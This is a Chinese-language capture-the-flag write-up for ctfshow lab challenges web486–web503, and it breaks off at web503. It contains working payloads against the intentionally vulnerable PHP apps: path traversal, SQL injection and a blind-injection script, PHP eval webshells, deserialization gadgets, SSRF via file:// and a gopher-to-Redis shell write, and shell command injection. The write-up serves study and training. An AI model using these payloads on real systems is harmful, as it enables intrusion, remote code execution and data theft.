WEB入门——中期测评

web486

原URL:

index.php?action=login

改成:

/index.php?action=1.php

返回:

Warning: file_get_contents(templates/1.php.php): failed to open stream: No such file or directory in /var/www/html/render/file_class.php on line 18

得到flag

/index.php?action=../flag

web487

/index.php?action=1

返回:

Warning: file_get_contents(templates/1.php): failed to open stream: No such file or directory in /var/www/html/render/file_class.php on line 18

查看index

/index.php?action=../index

返回:


<?php

include('render/render_class.php');
include('render/db_class.php');



$action=$_GET['action'];
if(!isset($action)){
	header('location:index.php?action=login');
	die();	
}

if($action=='check'){
	$username=$_GET['username'];
	$password=$_GET['password'];
	$sql = "select id from user where username = md5('$username') and password=md5('$password') order by id limit 1";
	$user=db::select_one($sql);
	if($user){
		templateUtil::render('index',array('username'=>$username));
	}else{
		header('location:index.php?action=login');
	}
}

if($action=='login'){
	templateUtil::render($action);
}else{
	templateUtil::render($action);
}

测试时间盲注:

/index.php?action=check&username=1&password=') or sleep(3)--+

逻辑:

注入后:(username正确 AND password错误) OR (sleep(3))
        └─────────────┬──────────────┘    └─┬─┘
                      │                     │
                   FALSE                 TRUE
                      └─────────┬──────────┘
                                │
                              TRUE → 登录成功!

sqlmap直接跑

sqlmap -u "http://97855731-8e40-44d9-a109-d5b82ac9b4fb.challenge.ctf.show/index.php?action=check&username=1&password=1" --batch -D ctfshow -T flag -C flag --dump

web488

/index.php?action=../index

返回源码:

<?php

include('render/render_class.php');
include('render/db_class.php');

$action=$_GET['action'];
if(!isset($action)){
	header('location:index.php?action=login');
	die();	
}

if($action=='check'){
	$username=$_GET['username'];
	$password=$_GET['password'];
	$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
	$user=db::select_one($sql);
	if($user){
		templateUtil::render('index',array('username'=>$username));
	}else{
		templateUtil::render('error',array('username'=>$username));
	}
}

if($action=='login'){
	templateUtil::render($action);
}else{
	templateUtil::render($action);
}

两个参数都被md5包裹了,不能用sql注入做了
查看:
render/render_class.php
GET:

/index.php?action=../render/render_class

返回:

<?php

ini_set('display_errors', 'On');
include('file_class.php');
include('cache_class.php');

class templateUtil {
	public static function render($template,$arg=array()){
		if(cache::cache_exists($template)){
			echo cache::get_cache($template);
		}else{
			$templateContent=fileUtil::read('templates/'.$template.'.php');
			$cache=templateUtil::shade($templateContent,$arg);
			cache::create_cache($template,$cache);
			echo $cache;
		}
	}
	public static  function shade($templateContent,$arg){
		foreach ($arg as $key => $value) {
			$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
		}
		return $templateContent;
	}
}

shade模板渲染函数,用于将模板中的占位符替换为实际数据
处理流程:

  1. 遍历 $arg 数组的每个键值对
  2. 构造占位符格式:{{key}}
  3. 用 value 替换模板中所有的 {{key}}
  4. 返回替换完成的内容
foreach ($arg as $key => $value)
┌─────────────────────────────────────────────────────────────┐
│  $arg = [                                                   │
│    'username' => '张三',                                    │
│    'email' => 'zhangsan@example.com',                       │
│    'age' => 25                                              │
│  ]                                                          │
└─────────────────────────────────────────────────────────────┘
                          │
                          ▼
┌─────────────────────────────────────────────────────────────┐
│  第1次循环:$key = 'username',  $value = '张三'             │
│  第2次循环:$key = 'email',    $value = 'zhangsan@...'      │
│  第3次循环:$key = 'age',      $value = 25                  │
└─────────────────────────────────────────────────────────────┘

$templateContent 获取templates/$template.php页面返回的内容,然后$cache调用shade函数替换$templateContent 中的字符串,把{{username}}替换为传入的数组key:value中的value值,最后再调用cache类中的create_cache函数

继续看看create_cache函数有什么作用:
render/cache_class.php

/index.php?action=../render/cache_class

返回:

<?php

ini_set('display_errors', 'On');

class cache{
	public static function create_cache($template,$content){
		if(file_exists('cache/'.md5($template).'.php')){
			return true;
		}else{
			fileUtil::write('cache/'.md5($template).'.php',$content);
		}
	}
	public static function get_cache($template){
		return fileUtil::read('cache/'.md5($template).'.php');
	}
	public static function cache_exists($template){
		return file_exists('cache/'.md5($template).'.php');
	}
}

create_cache函数先检查是否存在文件cache/md5($template).php,如果没有则创建一个php文件,并把$content写进去,其中$content我们可以控制,且$template也是固定的

index关键代码

if($action=='check'){
	$username=$_GET['username'];
	$password=$_GET['password'];
	$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
	$user=db::select_one($sql);
	if($user){
		templateUtil::render('index',array('username'=>$username));
	}else{
		templateUtil::render('error',array('username'=>$username));
	}
}

$user不存在时就会进入else语句,然后传入$template为 error,数组为[username: 任意内容]
可以写个webshell进去,因为error的md5值为cb5e100e5a9a3e7f6d1fd97512215282,文件会上传到

cache/cb5e100e5a9a3e7f6d1fd97512215282.php

如果已经查询过的话,会进入else分支,那么cache/cb5e100e5a9a3e7f6d1fd97512215282.php就已经存在了,后面再查询就会返回true,无法再进入create_cache函数的else分支

利用链:

templateUtil::render() -> templateUtil::shade() -> cache::create_cache() -> fileUtil::write()

重启以后
GET:

/index.php?action=check&username=<?php eval($_POST[1]);?>&password=123

WEB入门——中期测评.png
蚁剑连接路径:

cache/cb5e100e5a9a3e7f6d1fd97512215282.php

web489


<?php

include('render/render_class.php');
include('render/db_class.php');

$action=$_GET['action'];
if(!isset($action)){
	header('location:index.php?action=login');
	die();	
}

if($action=='check'){
	$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
	extract($_GET);
	$user=db::select_one($sql);
	if($user){
		templateUtil::render('index',array('username'=>$username));
	}else{
		templateUtil::render('error');
	}
}

if($action=='clear'){
	system('rm -rf cache/*');
	die('cache clear');
}

if($action=='login'){
	templateUtil::render($action);
}else{
	templateUtil::render($action);
}

可以看到else分支改了,不能上传内容到error那里了
但是题目给出了关键代码extract($_GET),意思是将 $_GET 数组中的所有键值对转换成对应的普通变量,那我们可以通过变量覆盖来触发
题目贴心给出了cache清除代码,如果你在登录框尝试登录过,那可以通过输入/index.php?action=clear来清除cache目录,这样就不用重启靶机了

payload:

/index.php?action=check&username=<?php eval($_POST[1]);?>&sql=select 1;

分析:变量覆盖使if永真
蚁剑连接:

/cache/6a992d5529f459a44fee58c733255e86.php

web490


<?php

include('render/render_class.php');
include('render/db_class.php');

$action=$_GET['action'];
if(!isset($action)){
	header('location:index.php?action=login');
	die();	
}

if($action=='check'){
	extract($_GET);
	$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
	$user=db::select_one($sql);
	if($user){
		templateUtil::render('index',array('username'=>$user->username));
	}else{
		templateUtil::render('error');
	}
}
if($action=='clear'){
	system('rm -rf cache/*');
	die('cache clear');
}

if($action=='login'){
	templateUtil::render($action);
}else{
	templateUtil::render($action);
}

sql语句变了,username那里没有md5包裹了
然后render('index',array('username'=>$username));变成了render('index',array('username'=>$user->username));

templateUtil::render('index', array('username'=>$username));
// $username 来自 $_GET['username】(用户输入)

templateUtil::render('index', array('username'=>$user->username));
// $user->username 来自 数据库查询结果

解决:通过sql注入改变查询的username的值,使后面的$user->username能返回我们想要的值
相当于让数据库查询出来:

username=<?php eval($_POST[1]);?>

类似这种效果:
WEB入门——中期测评-1.png
payload尝试:

/index.php?action=check&username=1' union select '<?php eval($_POST[1]);?>'--+&password=1

访问

/cache/6a992d5529f459a44fee58c733255e86.php

返回:

**Parse error**: syntax error, unexpected '<' in **/var/www/html/cache/6a992d5529f459a44fee58c733255e86.php** on line **19**

访问:

/index.php?action=index

返回:

<?=<?php eval($_POST[1]);?>?>

说明本身就是闭合的
先清除:

/index.php?action=clear

payload:

/index.php?action=check&username=1' union select 'eval($_POST[1])'--+&password=1

web491


<?php

include('render/render_class.php');
include('render/db_class.php');


$action=$_GET['action'];
if(!isset($action)){
	header('location:index.php?action=login');
	die();	
}

if($action=='check'){
	extract($_GET);
	$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
	$user=db::select_one($sql);
	if($user){
		templateUtil::render('index');
	}else{
		templateUtil::render('error');
	}
}
if($action=='clear'){
	system('rm -rf cache/*');
	die('cache clear');
}

if($action=='login'){
	templateUtil::render($action);
}else{
	templateUtil::render($action);
}
templateUtil::render('index');

被修复了,不能写入webshell了,但能执行命令读取文件
但是username那边没有md5包裹,可以用SQL注入获取flag

/index.php?action=check&username=1' union select load_file('/flag') into outfile "/tmp/3.php" --+&password=1

然后找flag

/index.php?action=../../../../tmp/3

web492

<?php

include('render/render_class.php');
include('render/db_class.php');

$action=$_GET['action'];
if(!isset($action)){
	header('location:index.php?action=login');
	die();	
}

if($action=='check'){
	extract($_GET);
	if(preg_match('/^[A-Za-z0-9]+$/', $username)){
		$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
		$user=db::select_one_array($sql);
	}
	if($user){
		templateUtil::render('index',$user);
	}else{
		templateUtil::render('error');
	}
}
if($action=='clear'){
	system('rm -rf cache/*');
	die('cache clear');
}

if($action=='login'){
	templateUtil::render($action);
}else{
	templateUtil::render($action);
}

多了一个正则:

if(preg_match('/^[A-Za-z0-9]+$/', $username))

然后上题的templateUtil::render('index')改回templateUtil::render('index',$user)
查看render/render_class.php

<?php

include('file_class.php');
include('cache_class.php');

class templateUtil {
	public static function render($template,$arg=array()){
		if(cache::cache_exists($template)){
			echo cache::get_cache($template);
		}else{
			$templateContent=fileUtil::read('templates/'.$template.'.php');
			$cache=templateUtil::shade($templateContent,$arg);
			cache::create_cache($template,$cache);
			echo $cache;
		}
	}
	public static  function shade($templateContent,$arg){
		foreach ($arg as $key => $value) {
			$templateContent=str_replace('{{'.$key.'}}', '<!--'.$value.'-->', $templateContent);
		}
		return $templateContent;
	}

}


可以继续用之前的方法:
之前是

templateUtil::render('index',array('username'=>$username));

现在是:

templateUtil::render('index',$user);

必须要求传进去一个数组,于是
payload:

/index.php?action=check&username='1&user[username]=<?php eval($_POST[1]);?>

利用extract($_GET);污染变量
username随便带个符号跳过正则验证直接来到templateUtil::render('index',$user)
访问:

/cache/6a992d5529f459a44fee58c733255e86.php

返回正常

<!--
Notice: Undefined offset: 1 in /var/www/html/cache/6a992d5529f459a44fee58c733255e86.php on line 19
-->

蚁剑连接:

/cache/6a992d5529f459a44fee58c733255e86.php

web493

<?php

session_start();
include('render/render_class.php');
include('render/db_class.php');


$action=$_GET['action'];
if(!isset($action)){
	if(isset($_COOKIE['user'])){
		$c=$_COOKIE['user'];
		$user=unserialize($c);
		if($user){
			templateUtil::render('index');
		}else{
			header('location:index.php?action=login');
		}
	}else{
		header('location:index.php?action=login');
	}
	die();	
}

if($action=='check'){
	extract($_GET);
	if(preg_match('/^[A-Za-z0-9]+$/', $username)){
		$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
		$db=new db();
		$user=$db->select_one($sql);
	}
	if($user){
		setcookie('user',$user);
		templateUtil::render('index');
	}else{
		templateUtil::render('error');
	}
}
if($action=='clear'){
	system('rm -rf cache/*');
	die('cache clear');
}

if($action=='login'){
	templateUtil::render($action);
}else{
	templateUtil::render($action);
}

下面的render只传入了$template,没有传入数组参数,没法使用上述参数

用反序列化来做这题

if(!isset($action)){
	if(isset($_COOKIE['user'])){
		$c=$_COOKIE['user'];
		$user=unserialize($c);

读取上面的render/db_class.php

/index.php?action=../render/db_class

返回:

<?php

error_reporting(0);
class db{
	
	public $db;
	public $log;
	public $sql;
	public $username='root';
	public $password='root';
	public $port='3306';
	public $addr='127.0.0.1';
	public $database='ctfshow';
	public function __construct(){
		$this->log=new dbLog();
		$this->db=$this->getConnection();
	}

	public function getConnection(){
		return new mysqli($this->addr,$this->username,$this->password,$this->database);
	}

	public  function select_one($sql){
		$this->sql=$sql;
		$conn = db::getConnection();
		$result=$conn->query($sql);
		if($result){
			return $result->fetch_object();
		}
	}
	public  function select_one_array($sql){
		$this->sql=$sql;
		$conn = db::getConnection();
		$result=$conn->query($sql);
		if($result){
			return $result->fetch_assoc();
		}
	}
	public function __destruct(){
		$this->log->log($this->sql);
	}
}

class dbLog{
	public $sql;
	public $content;
	public $log;
	
	public function __construct(){
		$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';
	}
	public function log($sql){
		$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
	}
	public function __destruct(){
		file_put_contents($this->log, $this->content,FILE_APPEND);
	}
}

写代码:

<?php
class dbLog{
	public $content;
	public $log;
	
	public function __construct(){
		$this->log='1.php';
		$this->content='<?php eval($_POST[1]);?>';
	}
}
$a = new dbLog();
echo serialize($a);

返回:

O:5:"dbLog":2:{s:7:"content";s:24:"<?php eval($_POST[1]);?>";s:3:"log";s:5:"1.php";}

要求:

if(!isset($action))

删去action
WEB入门——中期测评-3.png
蚁剑连接

1.php

web494

<?php

session_start();
include('render/render_class.php');
include('render/db_class.php');

$action=$_GET['action'];
if(!isset($action)){
	if(isset($_COOKIE['user'])){
		$c=$_COOKIE['user'];
		if(preg_match('/\:|\,/', $c)){
			$user=unserialize($c);
		}
		if($user){
			templateUtil::render('index');
		}else{
			header('location:index.php?action=login');
		}
	}else{
		header('location:index.php?action=login');
	}
	die();	
}

if($action=='check'){
	extract($_GET);
	if(!preg_match('/or|and|innodb|sys/i', $username)){
		$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
		$db=new db();
		$user=$db->select_one_array($sql);
	}
	if($user){
		setcookie('user',$user);
		templateUtil::render('index',$user);
	}else{
		templateUtil::render('error');
	}
}
if($action=='clear'){
	system('rm -rf cache/*');
	die('cache clear');
}

if($action=='login'){
	templateUtil::render($action);
}else{
	templateUtil::render($action);
}

preg_match('/\:|\,/', $c)检查字符串 $c 中是否包含 : (冒号) 或 , (逗号),对上题payload无影响

/render/db_class

<?php

error_reporting(0);
class db{
	
	public $db;
	public $log;
	public $sql;
	public $username='root';
	public $password='root';
	public $port='3306';
	public $addr='127.0.0.1';
	public $database='ctfshow';
	public function __construct(){
		$this->log=new dbLog();
		$this->db=$this->getConnection();
	}

	public function getConnection(){
		 
		return new mysqli($this->addr,$this->username,$this->password,$this->database);
	}

	public  function select_one($sql){
		$this->sql=$sql;
		$conn = db::getConnection();
		$result=$conn->query($sql);
		if($result){
			return $result->fetch_object();
		}

	}
	public  function select_one_array($sql){
		$this->sql=$sql;
		$conn = db::getConnection();
		$result=$conn->query($sql);
		if($result){
			return $result->fetch_assoc();
		}
	}
	public function __destruct(){
		$this->log->log($this->sql);
	}
}
class dbLog{
	public $sql;
	public $content;
	public $log;

	public function __construct(){
		$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';
	}
	public function log($sql){
		$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
	}
	public function __destruct(){
		file_put_contents($this->log, $this->content,FILE_APPEND);
	}
}

直接用上题payload
写代码:

<?php
class dbLog{
	public $content;
	public $log;
	
	public function __construct(){
		$this->log='1.php';
		$this->content='<?php eval($_POST[1]);?>';
	}
}
$a = new dbLog();
echo serialize($a);

返回:

O:5:"dbLog":2:{s:7:"content";s:24:"<?php eval($_POST[1]);?>";s:3:"log";s:5:"1.php";}

WEB入门——中期测评-4.png
WEB入门——中期测评-6.png
必须是127.0.0.1
WEB入门——中期测评-7.png

web495

核心代码没有变
可以继续用上题的方法,flag在数据库

web496

<?php

session_start();
include('render/render_class.php');
include('render/db_class.php');

$action=$_GET['action'];

if(!isset($action)){
	if(isset($_COOKIE['user'])){
		$c=$_COOKIE['user'];
		if(preg_match('/\:|\,/', $c)){
			#$user=unserialize($c);
		}
		if($user){
			templateUtil::render('index');
		}else{
			header('location:index.php?action=login');
		}
	}else{
		header('location:index.php?action=login');
	}
	die();	
}

switch ($action) {
	case 'check':
		$username=$_POST['username'];
		$password=$_POST['password'];
		if(!preg_match('/or|file|innodb|sys|mysql/i', $username)){
			$sql = "select username,nickname from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
			$db=new db();
			$user=$db->select_one_array($sql);
		}
		if($user){
			$_SESSION['user']=$user;
			header('location:index.php?action=index');
		}else{
			templateUtil::render('error');
		}
		break;
	case 'clear':
		system('rm -rf cache/*');
		die('cache clear');
		break;
	case 'login':
		templateUtil::render($action);
		break;
	case 'index':
		$user=$_SESSION['user'];
		if($user){
			templateUtil::render('index',$user);
		}else{
			header('location:index.php?action=login');
		}
		break;
	case 'view':
		$user=$_SESSION['user'];
		if($user){
			templateUtil::render($_GET['page'],$user);
		}else{
			header('location:index.php?action=login');
		}
		break;
	case 'logout':
		session_destroy();
		header('location:index.php?action=login');
		break;
	default:
		templateUtil::render($action);
		break;
}

发现反序列化代码被注释了,然后SQL正则那里多了一些过滤
if(!preg_match('/or|file|innodb|sys|mysql/i', $username)){

账号:'||1=1#
密码:1

进去后点击基本资料,可以看到管理员信息修改
WEB入门——中期测评-8.png

/index.php?action=../api/admin_edit

返回

<?php

session_start();
include('../render/db_class.php');

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	extract($_POST);
	$sql = "update user set nickname='".substr($nickname, 0,8)."' where username='".$user['username']."'";
	$db=new db();
	if($db->update_one($sql)){
		$_SESSION['user']['nickname']=$nickname;
		$ret['msg']='管理员信息修改成功';
	}else{
		$ret['msg']='管理员信息修改失败';
	}
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

注意:

extract($_POST);

存在查库的操作就会存在布尔盲注的空间

import requests
import string

url = "http://853d9f02-3a48-4fad-8cbd-9fa887c164f9.challenge.ctf.show"
chars = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890[]{},.-_"
result = ""
session = requests.session()
session.post(url + "?action=check", data={"username":"'||1=1#", "password":1})

for pos in range(1, 100):
    found = False
    for c in chars:
        # payload = "'||if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1)='{1}',1,0)#".format(pos, c)
        # payload = "'||if(substr((select group_concat(column_name) from information_schema.columns where table_name='flagyoudontknow76'),{0},1)='{1}',1,0)#".format(pos, c)
        payload = "'||if(substr((select flagisherebutyouneverknow118 from flagyoudontknow76),{0},1)='{1}',1,0)#".format(pos, c)
        data = {'nickname': str(pos), 'user[username]': payload}
        response = session.post(url + "/api/admin_edit.php", data=data)
        if "u529f" in response.text:
            result += c
            print(result)
            found = True
            break
    if not found:
        break

web497

<?php

session_start();
include('render/render_class.php');
include('render/db_class.php');

$action=$_GET['action'];

if(!isset($action)){
	if(isset($_COOKIE['user'])){
		$c=$_COOKIE['user'];
		if(!preg_match('/\:|\,/', $c)){
			$user=unserialize($c);
		}
		if($user){
			templateUtil::render('index');
		}else{
			header('location:index.php?action=login');
		}
	}else{
		header('location:index.php?action=login');
	}
	die();	
}

switch ($action) {
	case 'check':
		$username=$_POST['username'];
		$password=$_POST['password'];
		if(!preg_match('/file|or|innodb|sys|mysql/i', $username)){
			$sql = "select username,nickname,avatar from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
			$db=new db();
			$user=$db->select_one_array($sql);
		}
		if($user){
			$_SESSION['user']=$user;
			header('location:index.php?action=index');
		}else{
			templateUtil::render('error');
		}
		break;
	case 'clear':
		system('rm -rf cache/*');
		die('cache clear');
		break;
	case 'login':
		templateUtil::render($action);
		break;
	case 'index':
		$user=$_SESSION['user'];
		if($user){
			templateUtil::render('index',$user);
		}else{
			header('location:index.php?action=login');
		}
		break;
	case 'view':
		$user=$_SESSION['user'];
		if($user){
			templateUtil::render($_GET['page'],$user);
		}else{
			header('location:index.php?action=login');
		}
		break;
	case 'logout':
		session_destroy();
		header('location:index.php?action=login');
		break;
	default:
		templateUtil::render($action);
		break;
}

$user=unserialize($c)的注释去掉了,但是前面的正则匹配加了感叹号,也就是不能出现冒号和逗号
不走这个方法,继续用万能密码登录系统

账号:'||1=1#
密码:1

点击基本信息,发现头像处可以修改
WEB入门——中期测评-9.png
SSRF漏洞,改成:

file:///flag

修改成功后右键点击头像,选择在新标签页中打开图像得到flag
WEB入门——中期测评-10.png

web498

也是上一题的方法,读/etc/passwd可以,但是读flag读不到了,可能是权限不足,也可能是flag不叫这个名字了或者在其他目录

file:///etc/passwd

返回:

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
www-data:x:82:82:Linux User,,,:/home/www-data:/bin/false
mysql:x:100:101:mysql:/var/lib/mysql:/sbin/nologin
nginx:x:101:102:nginx:/var/lib/nginx:/sbin/nologin
redis:x:102:103:redis:/var/lib/redis:/bin/false

刚好看到/etc/passwd里面有个redis,输入dict://127.0.0.1:6379探测端口开放情况

dict://127.0.0.1:6379

返回:

-ERR Syntax error, try CLIENT (LIST | KILL | GETNAME | SETNAME | PAUSE | REPLY)
+OK

用Gopher协议打SSRF就可以,工具Gopherus
因此我们用Gopher协议打无密码的mysql,工具是Gopherus

python2 gopherus.py --exploit redis

输入以下内容
用户名:

root

待执行命令:

<?php eval($_POST[1]);?>

WEB入门——中期测评-11.png

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B1%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

访问:

/shell.php

web499

头像地址没了,SSRF打不通,发现系统配置可以打开
WEB入门——中期测评-12.png
WEB入门——中期测评-13.png

查看源码

/index.php?action=../api/admin_settings

返回:

<?php
session_start();

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	$config = unserialize(file_get_contents(__DIR__.'/../config/settings.php'));
	foreach ($_POST as $key => $value) {
		$config[$key]=$value;
	}
	file_put_contents(__DIR__.'/../config/settings.php', serialize($config));
	$ret['msg']='管理员信息修改成功';
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

关键:

if($user){
	$config = unserialize(file_get_contents(__DIR__.'/../config/settings.php'));
	foreach ($_POST as $key => $value) {
		$config[$key]=$value;
	}
	file_put_contents(__DIR__.'/../config/settings.php', serialize($config));

把POST传进来的键值对放入数组,然后写入文件config/settings.php
查看源码:

/index.php?action=../config/settings

返回:

a:4:{s:5:"title";s:16:"ctfshow欢迎你";s:10:"copy_right";s:19:"CTFshow版权所有";s:5:"beian";s:11:"京ICP-1001";s:3:"seo";s:52:"ctf.show - 友好,欢乐,新手向的CTFer社区";}

刚好对应的就是前面的系统配置页面,那我们在系统配置页面传入一句话木马
WEB入门——中期测评-14.png

/index.php?action=../config/settings

返回:

a:4:{s:5:"title";s:24:"<?php eval($_POST[1]);?>";s:10:"copy_right";s:19:"CTFshow版权所有";s:5:"beian";s:11:"京ICP-1001";s:3:"seo";s:52:"ctf.show - 友好,欢乐,新手向的CTFer社区";}

蚁剑连接:

/config/settings.php

web500

查看源码

/index.php?action=../api/admin_settings

返回:


<?php

session_start();

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
	foreach ($_POST as $key => $value) {
		$config[$key]=$value;
	}
	file_put_contents(__DIR__.'/../config/settings', serialize($config));
	$ret['msg']='管理员信息修改成功';
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

上题的代码改了,不是写到php文件了,那我们换个方法
发现数据库备份可以打开
WEB入门——中期测评-15.png
WEB入门——中期测评-16.png
读取源码:

/index.php?action=../api/admin_db_backup

返回:

<?php

session_start();

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	extract($_POST);
	shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.$db_path);

	if(file_exists(__DIR__.'/../backup/'.$db_path)){
		$ret['msg']='数据库备份成功';
	}else{
		$ret['msg']='数据库备份失败';
	}
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

关键:

extract($_POST);
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.$db_path);

拼接命令读取flag

;cat /f*>/var/www/html/1.txt

WEB入门——中期测评-17.png
访问:

1.txt

web501

读取源码:

/index.php?action=../api/admin_db_backup

返回:

<?php

session_start();

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	extract($_POST);
	if(preg_match('/^zip|tar|sql$/', $db_format)){
		shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'.'.$db_format);
		if(file_exists(__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'.'.$db_format)){
			$ret['msg']='数据库备份成功';
		}else{
			$ret['msg']='数据库备份失败';
		}
	}else{
		$ret['msg']='数据库备份失败';
	}
	
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

有一个正则表达式:

preg_match('/^zip|tar|sql$/', $db_format)

加上zip拼接命令读取flag
POST:

db_format=zip;cat /f*>/var/www/html/1.txt

web502

读取源码:

/index.php?action=../api/admin_db_backup

返回:

<?php

session_start();

include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$pre=__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'/db.';
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	extract($_POST);
	if(file_exists($pre.$db_format)){
			$ret['msg']='数据库备份成功';
			die(json_encode($ret));
	}

	if(preg_match('/^(zip|tar|sql)$/', $db_format)){
		shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.$pre.$db_format);
		if(file_exists($pre.$db_format)){
			$ret['msg']='数据库备份成功';
		}else{
			$ret['msg']='数据库备份失败';
		}
	}else{
		$ret['msg']='数据库备份失败';
	}
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

关键:

extract($_POST);
if(file_exists($pre.$db_format)){
	$ret['msg']='数据库备份成功';
	die(json_encode($ret));
}
if(preg_match('/^(zip|tar|sql)$/', $db_format)){

要求$db_format只能严格匹配 “zip”、“tar”、“sql” 这三个字符串
解决:利用$pre进行变量覆盖然后分号截断执行命令
POST:

db_format=zip&pre=1.txt;cat /f*>/var/www/html/1.txt;

web503

读取源码:

/index.php?action=../api/admin_db_backup

返回

<?php

session_start();

include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$pre=__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'/db.';
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	extract($_POST);
	if(file_exists($pre.$db_format)){
			$ret['msg']='数据库备份成功';
			die(json_encode($ret));
	}

	if(preg_match('/^(zip|tar|sql)$/', $db_format)){
		shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.md5($pre.$db_format));
		if(file_exists($pre.$db_format)){
			$ret['msg']='数据库备份成功';
		}else{
			$ret['msg']='数据库备份失败';
		}
	}else{
		$ret['msg']='数据库备份失败';
	}
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

关键:

shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.md5($pre.$db_format));

$pre$db_format被md5包裹了,无法利用了
上面可以看到有个file_exists函数,以后能用到

	if(file_exists($pre.$db_format)){
			$ret['msg']='数据库备份成功';
			die(json_encode($ret));
	}

在系统配置功能处可以看到有个图片上传功能
WEB入门——中期测评-19.png

/api/admin_upload.php

